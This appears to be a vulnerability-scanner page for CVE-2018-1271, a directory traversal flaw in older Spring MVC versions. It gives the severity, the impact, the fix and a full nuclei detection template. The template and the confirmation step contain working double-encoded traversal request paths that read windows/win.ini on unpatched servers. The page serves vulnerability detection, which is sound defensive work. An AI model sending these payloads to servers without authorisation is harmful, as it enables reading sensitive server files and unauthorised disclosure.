Spring MVC Framework - Local File Inclusion

mediumseverity

5.9CVSS score

30.3%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.

Impact

Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest security patches and updates provided by the Spring MVC Framework to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini ; GET {{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini
Positive when: contains "for 16-bit app support" AND status 200

Run it with nuclei: nuclei -id CVE-2018-1271 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-1271

info:
  name: Spring MVC Framework - Local File Inclusion
  author: hetroublemakr
  severity: medium
  description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by the Spring MVC Framework to mitigate this vulnerability.
  reference:
    - https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
    - https://pivotal.io/security/cve-2018-1271
    - https://access.redhat.com/errata/RHSA-2018:1320
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1271
    - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2018-1271
    cwe-id: CWE-22
    epss-score: 0.30338
    epss-percentile: 0.98244
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: vmware
    product: spring_framework
  tags: cve,cve2018,spring,lfi,traversal,vmware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
      - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'

      - type: status
        status:
          - 200

References

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